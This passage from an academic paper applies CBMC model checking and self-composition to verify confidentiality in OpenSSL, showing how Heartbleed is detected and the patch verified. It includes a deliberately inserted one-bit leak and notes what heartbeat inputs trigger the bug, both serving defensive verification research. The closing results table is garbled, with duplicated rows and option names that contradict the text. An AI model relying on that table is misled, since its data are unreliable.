leaks. As noted by Kupsch and Miller [14], static analysis tools struggle detecting Heartbleed due to the use of pointers, and the complexity of the execution path from the buffer allocation to its misuse. Static analyses capable of scrutinising large code bases are effective at detecting bugs that may bring undefined behaviour (e.g., a crash), but they are less effective at detecting deep intricate bugs which represent functional misbehaviour in code of any size. The code analysis technique used in this paper, while being static in the sense of being applied at compile time and considering all (bounded) execution paths, is an ideal complement to classical static analysis. Our analysis aims at detecting deep, intricate confidentiality violations. While our methodology allows for abstractions and sometimes may need them, it is largely a precise analysis down to the bit level. As such, all aspects of the code and the security requirements are translated into logic formulae and then checked by SAT or SMT solvers. Our technique would be a valuable tool for both developers and for code reviewers. The manual effort required is a labelling of confidential information and to write appropriate drivers. In this context, it is worth noting that Heartbleed was originally discovered as part of a code review, described as “laborious auditing of OpenSSL” [16]. Our methodology is not about detecting undefined behaviour in the code, such as generic memory errors, but rather detecting confidentiality violations. The principles underpinning this work go back to the fundamental definition of security. To the best of our knowledge, however, it was unknown how to implement such principles for large and complex C code. As such, the first and foremost contribution of this work is in enabling such real-world, complex security analysis. Related work There are several commercial static analysers for C such as Grammatech’s CodeSonar [9], Coverity [7], Klokwork [12], HP/Fortify [11]. None of these tools detected Heartbleed ahead-of-time. Some of the vendors of these tools are now extending their heuristics for being able to catch similar bugs [1, 4]. Their approach is based on the general idea of taint analysis. All these tools are very effective at detecting implementation bugs (which may or may not necessarily be security vulnerabilities) violating certain patterns. OpenSSL code is extremely complex; it includes multiple levels of indirection and other issues that can easily prevent these tools from finding vulnerabilities. Heartbleed is not an exception. Most importantly, these tools are not confidentiality checkers and so may not be able to find leaks not originating from undefined behaviour. Our technique instead is aimed at detecting subtle information leaks. Dynamic analysis used in tools like Valgrind [22] is very effective in finding code defects and improving the security of code. While extremely useful, dynamic analysis techniques can only check for a limited number of inputs and, therefore, do not provide the same strong security guarantees as our approach does. Similar to dynamic analyses symbolic execution tools are very scalable and our approach can be implemented in KLEE and similarly in other such platforms. There is a large body of literature on non-interference [17, 20] with related type systems, abstract domains, and data-flow and dynamic analysis. As already mentioned these approaches have had limited success on complex C code. Our work builds on the security literature of self-composition and its implementation [2, 21]. Previously, none of these works was able to deal with complex C code. CBMC has been used to implement self-composition also in [10]. Comparing their work with the proposed methodology, they neither use quantifiers, hence are limited to bounded analysis. Also they didn’t attack the engineering challenges of an automated analysis of a large code basis like OpenSSL. 2 Background Our confidentiality analysis is based on the definition of non-interference [8]. Informally: A program is non-interfering (i.e., doesn’t leak confidential information) if and only if two runs of the program that only differ in some confidential value do not yield different behaviours that can be observed by an attacker. In other words a non-leaking program behaves, from the point of view of an attacker, as a constant function once its non-confidential arguments are fixed. More formally noting $\langle P, \mu \rangle \downarrow \nu$ for “the program $P$ starting from memory configuration (contents) $\mu$ terminates with a resulting memory $\nu$” then (termination insensitive) non-interference is defined as: for all memory configurations $\mu_1, \mu_2, \nu_1, \nu_2$: \[ \left[ \langle P, \mu_1 \rangle \downarrow \nu_1 \wedge \langle P, \mu_2 \rangle \downarrow \nu_2 \wedge \mu_1 =_{L} \mu_2 \right] \rightarrow \nu_1 =_{L} \nu_2 \] where $\mu_1 =_{L} \mu_2$ means the memory configurations agree on the non-confidential values (also called the public values or low values; public values are assumed to be observable). We refer the interested reader to the literature [17] for a more extensive background on non-interference and confidentiality. 2.1 An Introductory Example To illustrate non-interference, consider an authentication system testing whether a user-provided string is a valid password: ```c int authenticate(int passwd, int guess) { int authenticated; if(passwd==guess) authenticated=1; else authenticated=0; return authenticated; } ``` The authenticate function above is not secure because we can find two different confidential values for the variable `passwd` resulting in two observables by an attacker. The first one is the value of `passwd` being equal to the value of `guess`. The second can be chosen as any different value. In this case the program will return two different values for `authenticated`, which is observable by an attacker. More specifically, by observing `authenticated==1` the attacker will know the password is the value of `guess`, and by observing `authenticated==0` the attacker will know the password is not the value of `guess`. In both cases the attacker will learn something about the password, hence some information is being leaked. Handling randomness The classic definition of confidentiality fails to account for programs the behaviour of which depends on sources of randomness. Consider the following variation of the above program: ```c if(random_value) authenticated=1; else authenticated=0; ``` This program would be deemed non-secure following the definition of non-interference. Assuming `random_value` doesn’t use any confidential values in its computation then the above program is, however, secure. One way to understand this in the context of non-interference is to think that a `random_value` in a deterministic systems is in fact the result of a deterministic function on some possibly difficult-to-guess non-confidential inputs, e.g. the seed used in the function generating random numbers in standard programming languages. A full discussion of this topic is beyond the scope of this work. For the purposes of our analysis hence when allowing random values we need to check whether the source of randomness is non-confidential and if that is the case then not count that as a security violation. If fact we will deal with random values using CBMC in the same way as we deal with missing code, which is explained in Sec. 4.4. Handling randomness is crucial when analysing some OpenSSL functions, such as `dtls1_heartbeat` or `tls1_heartbeat` (see Sec. 4.5). To correctly label the source of randomness is usually the task of the developer. 3 Confidentiality Analysis using CBMC The workflow of the analysis implemented using CBMC is summarised in Fig. 1. We first expand on how the driver is defined, its relation to non-interference and self-composition and how C code is handled by CBMC. We explain pre-processing in Sec. 4.2, i.e., how to prepare the source code for the analysis, and in Sections 4.3 and 4.4 we will discuss how to deal with missing code and unbounded analysis using quantifiers. ![Fig. 1. Workflow of the analysis using CBMC](image-url) To start with let’s explain how we check non-interference using the bounded model checker CBMC [5, 13]. To illustrate the use of CBMC in this context, let us consider the program of Fig. 2, taken from [6]. The first listing on the left contains the program with an assertion describing the desired postcondition. That is, for all possible executions of the program it holds that \( x \leq 3 \) at the end. As first step, CBMC transforms the program into Static Single Assignment (SSA) form, which introduces the new variables \( x_1, x_2, x_3 \) corresponding to the different definitions of the variable \( x \) in the program, and similarly \( y_1 \) for variable \( y \). The code in SSA form induces a system of equations which is then translated to a propositional formula \( C \) the atoms of which are bit vector equations. \( C \) represents the program as equation system and a model of \( C \) can be interpreted as an input and its execution trace. Finally the assertion is translated to the formula \( P \). \[ \begin{align*} x &= 2; \quad y = 1; \\ \text{if}(x \neq 1) & \quad \text{if}(x_1 \neq 1) \\ \{ & \\ x &= 2; & \quad x_2 &= 2; & \quad x_2 &= ((x_1 \neq 1)?2 : x_1) \land \\ \text{if}(y) x &++; & \quad \text{if}(y_1 = 0) x_3 &= x_2 + 1; & \quad x_3 &= ((x_1 \neq 1 \land y_1 \neq 0)?x_2 + 1 : x_2) \\ \} & \\ \text{assert}(x \leq 3); & \quad \text{assert}(x_3 \leq 3); & \quad P := x_3 \leq 3 \end{align*} \] Fig. 2. Example of renaming and transformation in CBMC Following the rules of Hoare Logic, the postcondition \( P \equiv x_3 \leq 3 \) holds if and only if \( C \Rightarrow P \) is valid. Equivalently, the original assertion is valid in the original program if only if the propositional formula \( C \land \neg P \) is unsatisfiable. To see that the above statement is true reason as follows: if \( C \land \neg P \) is satisfiable then the satisfying assignment will provide a counterexample for the property \( P \), i.e., a trace showing why the program doesn’t satisfy \( P \). If, however, \( C \land \neg P \) is unsatisfiable then the property \( P \) holds for all execution traces. CBMC is a bounded model checker, hence only a bounded version of a program, where the loops are unwound up to a user-defined bound, can be analysed. Consequently it is first and foremost a bug-finding approach, unless the program under scrutiny only exhibits bounded loops or bounded recursion. While unbounded verification is thus beyond the scope of CBMC, the user has options that may, in certain cases, provide unbounded verification results (i.e., proofs of correctness): an example is mentioned in Sec. 4.3 where we replace loops with universally quantified expressions. **Self-composition** The definition of non-interference is a semantic one. A translation of this definition to verification terms, called self-composition, has been introduced in [2, 21]. In self-composition we consider a program \( P \) and a copy \( P' \) of \( P \). The copy \( P' \) consists of \( P \) with all variables renamed (public variables \( \overrightarrow{x} \) renamed as \( \overrightarrow{x}' \). Let \( \uplus \) be disjoint union. Then non-interference is defined as: for all memory configurations \( \mu, \mu', \nu, \nu' \): \[ [P; P', \mu \uplus \mu'] \downarrow \nu \uplus \nu' \land \mu' = \mu[\overrightarrow{x}' := \overrightarrow{x}] \implies \nu' = \nu[\overrightarrow{x} := \overrightarrow{x}] \] In words: the program \( P; P' \), i.e., the sequential composition of \( P \) and \( P' \), starting from the memory \( \mu \uplus \mu' \) (where \( \mu' \) is the same memory as \( \mu \) on the public variables \( \overrightarrow{x} \), except for renaming of \( \overrightarrow{x} \) to \( \overrightarrow{x}' \)) will terminate resulting in memory \( \nu \uplus \nu' \) (where \( \nu' \) is the same memory as \( \nu \) on the public variables \( \overrightarrow{x} \), except for renaming of \( \overrightarrow{x} \) to \( \overrightarrow{x}' \)). Our implementation of self-composition using CBMC follows the approach in [10]. Here we only give an intuition about the approach and refer the interested reader to the literature for a more formal definition and relationship between self-composition and non-interference [2, 21, 10]. Recall that by definition of non-interference to find a violation of confidentiality we need to find two runs of the function under analysis that only differ in some confidential value and result in two different observables. To implement this using CBMC we add a driver to the program where we assert that any two runs of the function which differ on only the confidential values will result in the same observable. A violation to this assertion (i.e., a counterexample) will hence be an assignment describing two confidential values for which the function will return two different observables. Going back to the simple password program in Sec. 2.1, its security analysis using CBMC is realised using the following code: ```c int authenticate(int passwd, int guess) { int authenticated; if(passwd==guess) authenticated=1; else authenticated=0; return authenticated; } void driver() { int pwd1, pwd2, guess; int res1=authenticate(pwd1, guess); int res2=authenticate(pwd2, guess); assert(res1==res2); } ``` We have inserted a driver method with the declaration of three variables of type \texttt{int}. These variables will be used as arguments to the function \texttt{authenticate} in the two calls and finally an assertion is made about the equality of the results of the calls. CBMC will translate the above code into a formula and will look for an assignment satisfying that formula. As the variables are not initialised their values will be determined by the SAT solver. By running CBMC on the above code we will get a counterexample, and thus values \( v, v', u \) for \texttt{pwd1}, \texttt{pwd2}, \texttt{guess}, respectively, have been found by the SAT solver. As those result in the assertion to fail, this means that the program is leaking confidential information. In the terminology of self-composition \[ \mu = \{\texttt{pwd1} \mapsto v, \ \texttt{guess} \mapsto u\}, \ \mu' = \{\texttt{pwd2} \mapsto v', \ \texttt{guess} \mapsto u\} \] and the renaming\footnote{Here we map \texttt{guess} on the same name whereas we should use different names; it is easy to see this is harmless in this context.} of $\mu$ to $\mu'$ is \[ \{\{\texttt{pwd1} \mapsto v\} := \{\texttt{pwd2} \mapsto v'\}, \{\texttt{guess} \mapsto u\} := \{\texttt{guess} \mapsto u\}\}. \] To sum up there are three key ingredients to identify and label when performing a non-interference analysis when using a model checker like CBMC: 1. \textit{Confidential inputs}: the secret we don’t want the code to leak (in the above example, the values of \texttt{password} in function \texttt{authenticate}). 2. \textit{Public inputs}: the inputs that do not contain confidential information (in the above example the argument \texttt{guess}). 3. \textit{Observables}: what we assume an attacker can observe when the function is run (in the above example is the return value of function \texttt{authenticate}). 4 Analysis of OpenSSL 4.1 Labelling and drivers for OpenSSL A key aspect of the analysis is the labelling of confidential, public, and observable data. This step cannot be fully automated because it is easy to imagine how the same code may be used for different purposes and hence the meaning of confidential, public, and observable data may be application dependent. We assume that this process of labelling is in general a simple task for the code developer (and the code reviewer): by writing the code they should know easily what the confidential, non confidential, and observable components in the code are. Of course the labelling is more challenging for a third party not familiar with the code and, in that case, may require some non-trivial reverse engineering. In the case of OpenSSL our labelling is determined by reverse engineering what confidential, public and observable are in the functions where Heartbleed originated (i.e. functions: \texttt{dtls1_process_heartbeat} and \texttt{tls1_process_heartbeat}). Once this labelling is determined we can proceed to analyse all of OpenSSL for leaks from similar inputs to similar observables. The labelling is the following: 1. \textit{Confidential data}: this is the process memory. It is confidential because it holds confidential data, such as passwords or private keys \cite{23}. Notice that this is not an input to a function. 2. \textit{Public data}: these are the \texttt{ssl_st} structures containing the payload from the sender or any argument that are provided by the user as arguments to OpenSSL functions. The attacker can control these inputs, which is how Heartbleed is triggered. In security jargon we are considering an active attacker because the attacker can control the public inputs. void driver() { decall a_1, ..., a_n, b_1, ..., b_n; a_1 := ...; // optional initialisation argument a_1 ...; ... a_n := ...; // optional initialisation argument a_n b_1 := ...; // optional initialisation argument b_1 ...; ... b_n := ...; // optional initialisation argument b_n assert(observable(f(a_1, ..., a_n))==observable(f(b_1, ..., b_n))); } Fig. 3. Driver template for checking function f(i_1, ..., i_n). 3. **Observables**: this is the structure used for communicating between the client and server. They use (part of) the structures of type ssl_st for communication and the medium is (the function pointer) msg_callback. The third and fourth arguments of msg_callback consists of the data buffer of communication and its length. We hence select the third and fourth arguments of msg_callback as the observables. We stress that, while this labelling originated from the Heartbleed bug functions, it is not specific to the Heartbleed bug: labelling the process memory as confidential is natural and general because the process memory, no matter what OpenSSL function we consider, contains data like passwords. Labelling msg_callback as observable is natural and general because this is the main communication medium between client and server for all OpenSSL functions, and is also the medium by which data is transferred and so it could be leaked. Labelling the structure ssl_st as public is natural and general because this is a structure, argument to most OpenSSL functions, that both parties have access to and can manipulate. To check a function, say $f(i_1, ..., i_n)$, for information leaks, we write a driver function defined according to the template in Fig. 3. This driver declares and possibly initialises the arguments (ensuring $a_i = b_i$ if that argument is public) and then checks that the results for the observables are the same. Given the OpenSSL labelling above described it is easy to instantiate such schema for a particular function that needs to be checked. In the case of these OpenSSL functions the driver asserts that given two calls to the function which have the same public inputs the resulting msg_callback observables are the same. For two of these functions, namely the ones with the Heartbleed bug we were able, by using quantifiers, to perform an unbounded security analysis. For the remaining functions the security analysis is bounded. Bounded means we can only assert that the observables in the resulting msg_callback are the same for the first $n$ elements. The OpenSSL functions using msg_callback are shown in Fig. 4. Most OpenSSL are of the form \( f(x) \) where \( x \) is public, however if \( f \) uses process memory say by a call to \texttt{malloc} then it may well be that the two calls with the same public input result in different observables. This is automatically detected by CBMC thanks to its memory model. We stress that while we check for information leakage on individual functions, our analysis is an information leakage analysis of the whole OpenSSL and not just a “unit testing” of a subset of OpenSSL. OpenSSL is essentially a library whose functions are called by server and client. By considering all functions affecting the observable \texttt{msg_callback} we are considering the whole of OpenSSL involving the data communication medium \texttt{msg_callback}. 4.2 Preparing for Analysis Software projects of the scale of OpenSSL cannot be analysed at source-code level by picking up a single C file: numerous header files and configuration parameters contribute to each compilation unit. To employ CBMC in such a context, we use \texttt{goto-cc}, which can be used as drop-in replacement of various common compilers, including GCC. Running OpenSSL’s standard build process, \texttt{goto-cc} builds an intermediate representation, called “goto programs” – a control-flow graph like representation – rather than executable binaries. The compiled files could be used directly with CBMC; for our experiments, however, we took the additional step of decompiling to C source code using \texttt{goto-instrument} (which is also part of CBMC’s distribution). The resulting C code has all preprocessor macros and typedefs expanded, and adheres to any compile-time command-line options affecting the semantics of the program. A key benefit of this decompilation step is that our analysis could potentially be performed using any software analysis tool for C programs – such as KLEE. 4.3 Using Quantifiers for Unbounded Verification Bounded model checkers unfold loops up to user-defined bounds. In certain cases, however, it is possible to use CBMC in a more powerful way. If we can replace a loop with a quantified formula characterising the loop then we can achieve unbounded verification. The OpenSSL functions which suffered from Heatbleed allowed for this transformation. These functions call the standard library function memcpy in the following way: \[ \text{memcpy((void *)bp, (const void *)pl, (unsigned long)payload)} \] The semantics of the function memcpy is to copy payload bytes of memory from the area pointed-to by pl to the memory area pointed-to by bp (we assume the memory regions involved do not overlap). Therefore the effect of this call can be summarised by the following quantified formula: \[ \forall (0 \leq i < \text{payload}): \text{bp}[i] == \text{pl}[i] \] When loops are replaced by quantifiers, we can then use CBMC to translate the program and the assertions into a first-order formula over the theory of bitvectors. The obtained formulae are then passed to the SMT-solver Z3 [15] for satisfiability checking. 4.4 Missing Source Code and Compositionality Principle When CBMC encounters a function call like \(v = g(b)\) and has no source code for the function \(g\) then a non-deterministically chosen value of the appropriate type is given to \(v\). The implication for our analysis is that if there are some calls to missing functions and the analysis is successful, then the verification would be successful also if the source code were not missing\(^3\). On the other hand if the verification is unsuccessful then the failure may be spurious and originate from the non-deterministic choice of the missing function return value, because in each of the two runs different values may be non-deterministically chosen. A way to determine whether this is indeed the case is to make sure that the non-deterministically chosen return value for \(g\) is the same for the two calls of the function under analysis. This is easily achieved by defining this symbolic value as a non-deterministic global variable. Because of scalability issues we have excluded from the analysis the code of a few functions which we believe are safe to exclude, e.g., dtls1_write_bytes. **Compositionality Principle**: If a function \(f(a)\) calls a function \(g(b)\) and the analysis reports \(f(a)\) to be secure while the source code for \(g(b)\) is missing (where the missing code is handled as explained above), and in an independent analysis \(g(b)\) is reported to be secure, then \(f(a)\) is secure\(^4\). --- \(^3\) Provided these functions don’t leak and return deterministic values. Also if these functions have side-effects these should be deterministic. \(^4\) A soundness proof of this principle for a complex language like C is arguably infeasible and surely beyond the scope of this work. To verify confidentiality we can thus split the code base in several fragments. This compositionality principle is helpful when dealing with a large code base. Notice that the converse direction is not valid, i.e., it is possible that the analysis returns that \( f(a) \) is not secure in the analysis where the source code for \( g(b) \) is missing, and the analysis returns \( g(b) \) is not secure but in fact the function \( f \) is secure. A simple example is the following program: ```c int f(int a) { int b=1; int v=g(b); if(v) leak . . . else non-leak . . . } int g(int b) { if(b) return 0; else leak . . . } ``` The function \( f \) leaks only if the value of \( v \) is 1 and \( v \) is set by the call to \( g \). The function, \( g \) leaks only when \( b \) is 0. As \( b \) is set to 1 in \( f \) before calling \( g \) then \( g \) will not leak and return 0. This in turn will prevent \( f \) from leaking. The analysis will return that \( f \) and \( g \) both leak when analysed in isolation. However, \( f \) is secure as \( v \) is never 1 inside \( f \) which is the only case when \( f \) leaks. ### 4.5 Analysis of OpenSSL Functions For the analysis of the OpenSSL functions we use the basic driver pattern of Fig. 3. An example of initialisation of arguments for \( \text{dtls1\_process\_heartbeat} \) and \( \text{tls1\_process\_heartbeat} \) is reported in Fig. 5. The data size used is 37, because the size of payload and padding of a non-malicious heartbeat sent by the client is 34 bytes plus 2 bytes for the length and 1 byte for the type. Pointer \( \text{rrec.data} \) points to a structure for which we provide an unspecified values: this can be achieved in CBMC by giving to the element of the structure a non-initialised value. Other functions analysed in OpenSSL use the pointer \( \text{init\_buf.data} \) instead of \( \text{rrec.data} \); however, the initialisation is similar. For \( \text{init\_buf.data} \) we used the value 12, 24, and 48 as possible lengths. These values are simple guessworks on possible sizes and are just meant to prove that our methodology provides us with the ability to perform the analysis. An OpenSSL developer would be able to assign appropriate range of sizes for \( \text{init\_buf.data} \) allowing therefore a more complete security analysis of the OpenSSL functions unrelated to Heartbleed. Tab. 1 summarises the experimental results of the automated analysis using CBMC version 5.0. The tests were performed on Linux systems with 64-core AMD Opteron processors running at 2.5 GHz, equipped with 256 GB of memory. In the table we write \texttt{fun\_N\_OPTION} meaning that the function \texttt{fun} was analysed by unrolling its loops \( N \) times and \texttt{OPTION} is one of the following: - \texttt{C\_NO\_OBSERVATION\_IS\_LEAK}: with this option the assertion used is precisely the one from non-interference, i.e. it states that the observables are equal. If struct ssl_st s_1, s_2; int i; s_1.msg_callback=fobservable_1; s_2.msg_callback=fobservable_2; struct ssl3_state st s3_1, s3_2; unsigned char r_data_1[37], r_data_2[37]; for (i=0; i<37; i++) { r_data_2[i]=r_data_1[i]; } s3_1.rrec.data=r_data_1; s3_2.rrec.data=r_data_2; s3_1.rrec.length=37; s3_2.rrec.length=37; s_1.s3=&s3_1; s_2.s3=&s3_2; Fig. 5. Initialisation of data structures for dtls1_process_heartbeat and tls1_process_heartbeat. These structures are the public inputs for those functions. this option is not selected we use a weaker assertion, i.e. the assertion states that either the observables are equal or one of the observables is null, i.e. with the option not selected we accept a possible 1 bit leakage because, depending on the value of the secret, the function may produce a null observable or a specific non-null observable. The combination of these two assertions has shown to be helpful to detect spurious 1 bit leakage (details below). - C_INIT_BUF_LENGTH__M: this option sets init_buf.data to size M. - C_HB_SEQ_HIGH: this option sets tlsext_hb_seq field as high (i.e., confidential). This option only applies to dtls1_heartbeat and tls1_heartbeat. - C_HB_ART_LEAK: this option adds an artificial information-flow leak (described later on) inside the function (d)tls1_process_heartbeat. - C_HB_BUG: this option disables the Heartbleed patch. - C_FORALL: this option introduces quantifiers. - C_HB_CORR_SIZE: configures the heartbeat payload to the correct size. - C_RANDOM_LOW__M: set M random bytes in the heartbeat payload to be public. - C_CLIENT_HELLO_CONSTRAINED: forbid ssl23_write_bytes return value between 2 and 5. Notice that a few functions with no option selected verify successfully and with option C_NO_OBSERVATION_IS_LEAK yield a counterexample. This indicates a possible maximal one-bit leak. A quick code inspection following the CBMC error trace suggests this small leak is spurious and caused by some missing initialisation or missing functions called by the analysed functions. Functions dtls1_process_heartbeat, dtls1_heartbeat, tls1_heartbeat, tls1_process_heartbeat, and ssl23_client_hello show more serious failures: from a security perspective they are the most interesting and we now comment more in details on our findings. Functions \texttt{dtls1\_process\_heartbeat} and \texttt{tls1\_process\_heartbeat} The verification fails when there is no patch and \texttt{rrec.data[1]}, \texttt{rrec.data[2]} are left unspecified (i.e., option \texttt{C\_HB\_BUG}). This is the Heartbleed bug. In fact \texttt{rrec.data[1]} and \texttt{rrec.data[2]} together define the payload size. By not initialising these variables CBMC will find values mismatching the real payload size and so triggering Heartbleed. Notice that we are not only able to detect the leak but CBMC’s counterexample tells us precise inputs triggering Heartbleed. An important point is that our analysis require absolutely no knowledge or suspect of the existence of the Heartbleed in order to detect it. We stress that by leaving the size of the buffers \texttt{rrec.data[1]}, \texttt{rrec.data[2]} unspecified we are eliminating the guesswork on the buffer size. That is we leave to CBMC to determine if there exist buffer sizes for which there is an information leak. CBMC is able to find the buffer sizes triggering the bug. This is an important feature of our analysis because if it were to rely on this guess work it would require the developer already to suspect the leak and where it could arise. Once the patch is applied (i.e., removing option \texttt{C\_HB\_BUG}), the verification becomes successful. We add option \texttt{C\_FORALL} to perform an unbounded verification by using quantifiers. As such our result provides the first formal verification that the patch actually fixes the Heartbleed bug. Another case where the verification is successful is when the code is unpatched but \texttt{rrec.data[1]} and \texttt{rrec.data[2]} are given as values the correct payload size (option \texttt{C\_HB\_CORR\_SIZE}). Since \texttt{rrec.data} is 37 bytes (the first byte is the type; the following two bytes are the length description and 16 bytes are padding) this is achieved by setting \texttt{rrec.data[1]=0;rrec.data[2]=18;}. As expected the verification is in this case successful. To test the power of our approach we then inserted in heartbeat functions a leak originating from an indirect flow modelling the reading of one byte of process memory (option \texttt{C\_HB\_ART\_LEAK}). Fig. 6 reports a snippet of the modified function once \texttt{C\_HB\_ART\_LEAK} is used. The added lines test whether some byte from the process memory has a specific value (say 1). In that case the function assigns to the 6\textsuperscript{th} element of \texttt{bp} the value 0 otherwise 1. Because \texttt{bp} is in fact a name for the buffer becoming later observable via \texttt{msg\_callback} that bit of information about the process memory is leaked. Given this setting we get a verification failure. This case shows our ability to detect all possible leaks, i.e., not only leaks due to the bugs as in Heartbleed, but also those originating from direct and indirect flows of confidential information in code without bugs. Functions \texttt{dtls1 heartbeat} and \texttt{tls1 heartbeat} The verification fails. On code inspection following the counterexample we notice that the reason is that the payload is randomly generated (see Sec. 2.1 for discussion). Once we assume that the payload is not confidential we can eliminate this leak from our analysis (option \texttt{C\_RANDOM\_LOW}). Consistently with the handling of random data described in the introduction, to implement the assumption that payload is not confidential we initialise all elements in the payload buffer to arbitrary yet identical values for the two runs. Under these conditions the verification succeeds. bp = bp + (signed long int)2; memcpy((void *)bp, (const void *)pl, (unsigned long int)payload); char process_memory_byte; //ADDED CODE if(process_memory_byte) bp[5]=0; else bp[5]=1; //ADDED CODE bp = bp + (signed long int)payload; RAND_pseudo_bytes(bp, (signed int)padding); Fig. 6. Modified (d)tls1_process_heartbeat code with artificial leak. We detected another potential leak (option C_HB_SEQ_HIGH) which could lead an eavesdropper to estimate how many heartbeats are exchanged. The leak originates from the tlsext_hb_seq field of the structure argument to the functions dtls1_heartbeat and tls1_heartbeat. This field stores a heartbeat sequence number and this information is leaked in the observable. Our default assumption is that the argument is public. However, our methodology is flexible enough to consider arguments that have both confidential and public components. Function ssl23_client_hello The verification fails. On code inspection following the error trace provided by CBMC we discovered a possible (very large) information leak depending on the return value of ssl23_write_bytes which is called by ssl23_client_hello. With option C_CLIENT_HELLO_CONSTRAINED this return value is assumed not to be between 2 and 5 and we then succeed to verify the absence of leaks. The bound 5 comes from the packet header and should guarantee no abnormal behaviour is triggered. It would be possibly better to add a fail-safe feature to enforce these bounds, e.g., an if-then-else making sure the return value of ssl23_write_bytes is within those safe bounds and exit otherwise. This case illustrates how our analysis can help to determine possible conditions triggering a leak. 5 Conclusion We presented a general technique for the analysis of confidentiality in complex C code. We applied our analysis to OpenSSL and showed that it correctly detects Heartbleed as a form of information leak. Moreover we verified that the patched code does not leak information. We verified the whole of OpenSSL for similar leaks. The analysis returned interesting findings and where CBMC failed to verify the absence of leaks, by using error traces we have found some possible security problems with the functions dtls1_heartbeat, tls1_heartbeat and ssl23_client_hello. In doing so we didn’t have to modify the analysed code, but our approach, except for labelling, and writing the driver, works out of the box. The only annotation required is to label the confidential and non confidential data and what data and structures are observables to an attacker. As any program analysis, our approach presents limitations. The main are: <table> <thead> <tr> <th>Benchmark</th> <th>Result</th> <th>Time [s]</th> <th>RAM [GB]</th> </tr> </thead> <tbody> <tr> <td>dtls1 dispatched_alert_104_</td> <td>✓</td> <td>267.6</td> <td>3.0</td> </tr> <tr> <td>dtls1 dispatched_alert_104_C_NO_OBSERVATION IS LEAK</td> <td>X</td> <td>222.5</td> <td>3.0</td> </tr> <tr> <td>dtls1 do_write_58_</td> <td>✓</td> <td>305.3</td> <td>0.8</td> </tr> <tr> <td>dtls1 do_write_58_C_INIT_BUF_LENGTH_24</td> <td>✓</td> <td>234.1</td> <td>0.9</td> </tr> <tr> <td>dtls1 do_write_58_C_INIT_BUF_LENGTH_48</td> <td>✓</td> <td>202.3</td> <td>1.0</td> </tr> <tr> <td>dtls1 do_write_58_C_NO_OBSERVATION IS LEAK</td> <td>✓</td> <td>243.2</td> <td>0.8</td> </tr> <tr> <td>dtls1 get_message_7_C_INIT_BUF_LENGTH_24</td> <td>✓</td> <td>32842.6</td> <td>16.8</td> </tr> <tr> <td>dtls1 get_message_7_C_INIT_BUF_LENGTH_48</td> <td>✓</td> <td>26933.5</td> <td>16.9</td> </tr> <tr> <td>dtls1 get_message_7_C_NO_OBSERVATION IS LEAK</td> <td>✓</td> <td>27528.4</td> <td>17.2</td> </tr> <tr> <td>dtls1 get_message_7_C_NO_OBSERVATION IS LEAK</td> <td>✓</td> <td>30636.2</td> <td>16.8</td> </tr> <tr> <td>dtls1 get_message_fragment_18_C_INIT_BUF_LENGTH_24</td> <td>✓</td> <td>5655.1</td> <td>8.7</td> </tr> <tr> <td>dtls1 get_message_fragment_18_C_INIT_BUF_LENGTH_48</td> <td>✓</td> <td>5493.6</td> <td>8.8</td> </tr> <tr> <td>dtls1 heartbeat__20000_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>X</td> <td>3.5</td> <td>0.1</td> </tr> <tr> <td>dtls1 heartbeat__20000_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>3.3</td> <td>0.1</td> </tr> <tr> <td>dtls1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>13.6</td> <td>0.3</td> </tr> <tr> <td>dtls1 process_heartbeat__802_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>3.1</td> <td>0.0</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>8.3</td> <td>0.3</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>2.4</td> <td>0.0</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>636.3</td> <td>0.2</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>5.2</td> <td>0.2</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>10.8</td> <td>0.3</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>2.6</td> <td>0.0</td> </tr> <tr> <td>dtls1 process_heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>5.5</td> <td>0.2</td> </tr> <tr> <td>dtls1 read_bytes__</td> <td>✓</td> <td>247.2</td> <td>4.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>211.4</td> <td>4.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>108.9</td> <td>2.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>96.5</td> <td>2.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>99.7</td> <td>2.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>95.8</td> <td>2.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>83.8</td> <td>2.0</td> </tr> <tr> <td>ssl3 